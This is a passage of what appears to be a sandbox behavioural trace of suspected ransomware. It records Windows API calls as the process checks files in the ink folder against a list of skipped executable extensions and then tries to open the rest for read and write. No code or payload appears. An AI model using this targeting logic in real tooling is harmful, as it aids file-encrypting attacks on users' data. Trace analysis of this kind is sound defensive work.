	[0078.602] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml", lpSrch=".msc") returned 0x0
	[0078.602] lstrlenW (lpString=".com") returned 4
	[0078.602] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml", lpSrch=".com") returned 0x0
	[0078.602] lstrlenW (lpString=".lnk") returned 4
	[0078.602] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml", lpSrch=".lnk") returned 0x0
	[0078.602] lstrlenW (lpString=".msp") returned 4
	[0078.602] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml", lpSrch=".msp") returned 0x0
	[0078.602] lstrlenW (lpString=".pif") returned 4
	[0078.602] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml", lpSrch=".pif") returned 0x0
	[0078.602] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.602] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0078.603] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.615] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b0a38 | out: hHeap=0x300000) returned 1
	[0078.615] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b0908 | out: hHeap=0x300000) returned 1
	[0078.615] RtlWakeConditionVariable () returned 0x365f70
	[0078.615] GetCurrentThreadId () returned 0x9f4
	[0078.615] GetCurrentThreadId () returned 0x9f4
	[0078.615] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0908
	[0078.615] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b0c00 | out: hHeap=0x300000) returned 1
	[0078.615] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a67b8 | out: hHeap=0x300000) returned 1
	[0078.615] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0c00
	[0078.615] lstrlenW (lpString=".scr") returned 4
	[0078.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml", lpSrch=".scr") returned 0x0
	[0078.615] lstrlenW (lpString=".cmd") returned 4
	[0078.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml", lpSrch=".cmd") returned 0x0
	[0078.616] lstrlenW (lpString=".dll") returned 4
	[0078.616] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml", lpSrch=".dll") returned 0x0
	[0078.616] lstrlenW (lpString=".bat") returned 4
	[0078.616] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml", lpSrch=".bat") returned 0x0
	[0078.616] lstrlenW (lpString=".cpl") returned 4
	[0078.616] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml", lpSrch=".cpl") returned 0x0
	[0078.616] lstrlenW (lpString=".sys") returned 4
	[0078.616] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml", lpSrch=".sys") returned 0x0
	[0078.616] lstrlenW (lpString=".msc") returned 4
	[0078.616] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml", lpSrch=".msc") returned 0x0
	[0078.616] lstrlenW (lpString=".com") returned 4
	[0078.616] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml", lpSrch=".com") returned 0x0
	[0078.616] lstrlenW (lpString=".lnk") returned 4
	[0078.616] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml", lpSrch=".lnk") returned 0x0
	[0078.616] lstrlenW (lpString=".msp") returned 4
	[0078.616] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml", lpSrch=".msp") returned 0x0
	[0078.616] lstrlenW (lpString=".pif") returned 4
	[0078.616] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml", lpSrch=".pif") returned 0x0
	[0078.616] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.616] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0078.616] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.625] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b0c00 | out: hHeap=0x300000) returned 1
	[0078.625] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b0908 | out: hHeap=0x300000) returned 1
	[0078.625] RtlWakeConditionVariable () returned 0x365f70
	[0078.625] GetCurrentThreadId () returned 0x9f4
	[0078.625] GetCurrentThreadId () returned 0x9f4
	[0078.625] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0908
	[0078.625] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b0e60 | out: hHeap=0x300000) returned 1
	[0078.625] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a68f0 | out: hHeap=0x300000) returned 1
	[0078.625] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0e60
	[0078.625] lstrlenW (lpString=".scr") returned 4
	[0078.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml", lpSrch=".scr") returned 0x0
	[0078.625] lstrlenW (lpString=".cmd") returned 4
	[0078.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml", lpSrch=".cmd") returned 0x0
	[0078.625] lstrlenW (lpString=".dll") returned 4
	[0078.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml", lpSrch=".dll") returned 0x0
	[0078.625] lstrlenW (lpString=".bat") returned 4
	[0078.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml", lpSrch=".bat") returned 0x0
	[0078.625] lstrlenW (lpString=".cpl") returned 4
	[0078.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml", lpSrch=".cpl") returned 0x0
	[0078.625] lstrlenW (lpString=".sys") returned 4
	[0078.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml", lpSrch=".sys") returned 0x0
	[0078.625] lstrlenW (lpString=".msc") returned 4
	[0078.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml", lpSrch=".msc") returned 0x0
	[0078.626] lstrlenW (lpString=".com") returned 4
	[0078.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml", lpSrch=".com") returned 0x0
	[0078.626] lstrlenW (lpString=".lnk") returned 4
	[0078.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml", lpSrch=".lnk") returned 0x0
	[0078.626] lstrlenW (lpString=".msp") returned 4
	[0078.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml", lpSrch=".msp") returned 0x0
	[0078.626] lstrlenW (lpString=".pif") returned 4
	[0078.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml", lpSrch=".pif") returned 0x0
	[0078.626] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0078.626] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.636] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b0e60 | out: hHeap=0x300000) returned 1
	[0078.636] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b0908 | out: hHeap=0x300000) returned 1
	[0078.636] RtlWakeConditionVariable () returned 0x365f70
	[0078.636] GetCurrentThreadId () returned 0x9f4
	[0078.637] GetCurrentThreadId () returned 0x9f4
	[0078.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f37e8
	[0078.637] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4658 | out: hHeap=0x300000) returned 1
	[0078.637] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a69d0 | out: hHeap=0x300000) returned 1
	[0078.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4658
	[0078.637] lstrlenW (lpString=".scr") returned 4
	[0078.637] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsMigrationPlugin.dll", lpSrch=".scr") returned 0x0
	[0078.637] lstrlenW (lpString=".cmd") returned 4
	[0078.637] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsMigrationPlugin.dll", lpSrch=".cmd") returned 0x0
	[0078.637] lstrlenW (lpString=".dll") returned 4
	[0078.637] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsMigrationPlugin.dll", lpSrch=".dll") returned=".dll"
	[0078.637] lstrlenW (lpString=".dll") returned 4
	[0078.637] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4658 | out: hHeap=0x300000) returned 1
	[0078.637] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f37e8 | out: hHeap=0x300000) returned 1
	[0078.637] RtlWakeConditionVariable () returned 0x365f70
	[0078.637] GetCurrentThreadId () returned 0x9f4
	[0078.637] GetCurrentThreadId () returned 0x9f4
	[0078.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0908
	[0078.637] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b10c0 | out: hHeap=0x300000) returned 1
	[0078.637] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6a08 | out: hHeap=0x300000) returned 1
	[0078.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b10c0
	[0078.638] lstrlenW (lpString=".scr") returned 4
	[0078.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml", lpSrch=".scr") returned 0x0
	[0078.638] lstrlenW (lpString=".cmd") returned 4
	[0078.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml", lpSrch=".cmd") returned 0x0
	[0078.638] lstrlenW (lpString=".dll") returned 4
	[0078.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml", lpSrch=".dll") returned 0x0
	[0078.638] lstrlenW (lpString=".bat") returned 4
	[0078.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml", lpSrch=".bat") returned 0x0
	[0078.638] lstrlenW (lpString=".cpl") returned 4
	[0078.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml", lpSrch=".cpl") returned 0x0
	[0078.638] lstrlenW (lpString=".sys") returned 4
	[0078.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml", lpSrch=".sys") returned 0x0
	[0078.638] lstrlenW (lpString=".msc") returned 4
	[0078.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml", lpSrch=".msc") returned 0x0
	[0078.638] lstrlenW (lpString=".com") returned 4
	[0078.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml", lpSrch=".com") returned 0x0
	[0078.638] lstrlenW (lpString=".lnk") returned 4
	[0078.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml", lpSrch=".lnk") returned 0x0
	[0078.638] lstrlenW (lpString=".msp") returned 4
	[0078.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml", lpSrch=".msp") returned 0x0
	[0078.638] lstrlenW (lpString=".pif") returned 4
	[0078.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml", lpSrch=".pif") returned 0x0
	[0078.638] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0078.638] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.639] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b10c0 | out: hHeap=0x300000) returned 1
	[0078.639] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b0908 | out: hHeap=0x300000) returned 1
	[0078.639] RtlWakeConditionVariable () returned 0x365f70
	[0078.639] GetCurrentThreadId () returned 0x9f4
	[0078.639] GetCurrentThreadId () returned 0x9f4
	[0078.639] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0908
	[0078.640] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b1158 | out: hHeap=0x300000) returned 1
	[0078.640] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6a40 | out: hHeap=0x300000) returned 1
	[0078.640] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1158
	[0078.640] lstrlenW (lpString=".scr") returned 4
	[0078.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml", lpSrch=".scr") returned 0x0
	[0078.640] lstrlenW (lpString=".cmd") returned 4
	[0078.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml", lpSrch=".cmd") returned 0x0
	[0078.640] lstrlenW (lpString=".dll") returned 4
	[0078.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml", lpSrch=".dll") returned 0x0
	[0078.640] lstrlenW (lpString=".bat") returned 4
	[0078.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml", lpSrch=".bat") returned 0x0
	[0078.640] lstrlenW (lpString=".cpl") returned 4
	[0078.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml", lpSrch=".cpl") returned 0x0
	[0078.640] lstrlenW (lpString=".sys") returned 4
	[0078.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml", lpSrch=".sys") returned 0x0
	[0078.640] lstrlenW (lpString=".msc") returned 4
	[0078.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml", lpSrch=".msc") returned 0x0
	[0078.640] lstrlenW (lpString=".com") returned 4
	[0078.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml", lpSrch=".com") returned 0x0
	[0078.640] lstrlenW (lpString=".lnk") returned 4
	[0078.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml", lpSrch=".lnk") returned 0x0
	[0078.640] lstrlenW (lpString=".msp") returned 4
	[0078.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml", lpSrch=".msp") returned 0x0
	[0078.640] lstrlenW (lpString=".pif") returned 4
	[0078.641] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml", lpSrch=".pif") returned 0x0
	[0078.641] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.641] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0078.641] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.641] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b1158 | out: hHeap=0x300000) returned 1
	[0078.641] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b0908 | out: hHeap=0x300000) returned 1
	[0078.641] RtlWakeConditionVariable () returned 0x365f70
	[0078.641] GetCurrentThreadId () returned 0x9f4
	[0078.641] GetCurrentThreadId () returned 0x9f4
	[0078.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0908
	[0078.641] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b11f0 | out: hHeap=0x300000) returned 1
	[0078.641] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6a78 | out: hHeap=0x300000) returned 1
	[0078.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b11f0
	[0078.641] lstrlenW (lpString=".scr") returned 4
	[0078.641] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml", lpSrch=".scr") returned 0x0
	[0078.641] lstrlenW (lpString=".cmd") returned 4
	[0078.641] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml", lpSrch=".cmd") returned 0x0
	[0078.641] lstrlenW (lpString=".dll") returned 4
	[0078.641] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml", lpSrch=".dll") returned 0x0
	[0078.641] lstrlenW (lpString=".bat") returned 4
	[0078.641] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml", lpSrch=".bat") returned 0x0
	[0078.641] lstrlenW (lpString=".cpl") returned 4
	[0078.641] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml", lpSrch=".cpl") returned 0x0
	[0078.642] lstrlenW (lpString=".sys") returned 4
	[0078.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml", lpSrch=".sys") returned 0x0
	[0078.642] lstrlenW (lpString=".msc") returned 4
	[0078.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml", lpSrch=".msc") returned 0x0
	[0078.642] lstrlenW (lpString=".com") returned 4
	[0078.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml", lpSrch=".com") returned 0x0
	[0078.642] lstrlenW (lpString=".lnk") returned 4
	[0078.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml", lpSrch=".lnk") returned 0x0
	[0078.642] lstrlenW (lpString=".msp") returned 4
	[0078.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml", lpSrch=".msp") returned 0x0
	[0078.642] lstrlenW (lpString=".pif") returned 4
	[0078.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml", lpSrch=".pif") returned 0x0
	[0078.642] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0078.642] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.653] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b11f0 | out: hHeap=0x300000) returned 1
	[0078.653] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b0908 | out: hHeap=0x300000) returned 1
	[0078.653] RtlWakeConditionVariable () returned 0x365f70
	[0078.653] GetCurrentThreadId () returned 0x9f4
	[0078.653] GetCurrentThreadId () returned 0x9f4
	[0078.654] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0908
	[0078.654] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b14e8 | out: hHeap=0x300000) returned 1
	[0078.654] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6b90 | out: hHeap=0x300000) returned 1
	[0078.654] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b14e8
	[0078.654] lstrlenW (lpString=".scr") returned 4
	[0078.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml", lpSrch=".scr") returned 0x0
	[0078.654] lstrlenW (lpString=".cmd") returned 4
	[0078.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml", lpSrch=".cmd") returned 0x0
	[0078.654] lstrlenW (lpString=".dll") returned 4
	[0078.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml", lpSrch=".dll") returned 0x0
	[0078.654] lstrlenW (lpString=".bat") returned 4
	[0078.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml", lpSrch=".bat") returned 0x0
	[0078.654] lstrlenW (lpString=".cpl") returned 4
	[0078.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml", lpSrch=".cpl") returned 0x0
	[0078.654] lstrlenW (lpString=".sys") returned 4
	[0078.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml", lpSrch=".sys") returned 0x0
	[0078.654] lstrlenW (lpString=".msc") returned 4
	[0078.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml", lpSrch=".msc") returned 0x0
	[0078.654] lstrlenW (lpString=".com") returned 4
	[0078.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml", lpSrch=".com") returned 0x0
	[0078.654] lstrlenW (lpString=".lnk") returned 4
	[0078.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml", lpSrch=".lnk") returned 0x0
	[0078.654] lstrlenW (lpString=".msp") returned 4
	[0078.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml", lpSrch=".msp") returned 0x0
	[0078.655] lstrlenW (lpString=".pif") returned 4
	[0078.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml", lpSrch=".pif") returned 0x0
	[0078.655] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0078.655] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.667] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b14e8 | out: hHeap=0x300000) returned 1
	[0078.667] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b0908 | out: hHeap=0x300000) returned 1
	[0078.667] RtlWakeConditionVariable () returned 0x365f70
	[0078.667] GetCurrentThreadId () returned 0x9f4
	[0078.667] GetCurrentThreadId () returned 0x9f4
	[0078.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f37e8
	[0078.667] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4700 | out: hHeap=0x300000) returned 1
	[0078.667] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39df50 | out: hHeap=0x300000) returned 1
	[0078.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4700
	[0078.667] lstrlenW (lpString=".scr") returned 4
	[0078.667] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui", lpSrch=".scr") returned 0x0
	[0078.667] lstrlenW (lpString=".cmd") returned 4
	[0078.667] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui", lpSrch=".cmd") returned 0x0
	[0078.667] lstrlenW (lpString=".dll") returned 4
	[0078.668] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui", lpSrch=".dll") returned=".dll.mui"
	[0078.668] lstrlenW (lpString=".dll.mui") returned 8
	[0078.668] lstrlenW (lpString=".bat") returned 4
	[0078.668] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui", lpSrch=".bat") returned 0x0
	[0078.668] lstrlenW (lpString=".cpl") returned 4
	[0078.668] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui", lpSrch=".cpl") returned 0x0
	[0078.668] lstrlenW (lpString=".sys") returned 4
	[0078.668] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui", lpSrch=".sys") returned 0x0
	[0078.668] lstrlenW (lpString=".msc") returned 4
	[0078.668] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui", lpSrch=".msc") returned 0x0
	[0078.668] lstrlenW (lpString=".com") returned 4
	[0078.668] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui", lpSrch=".com") returned 0x0
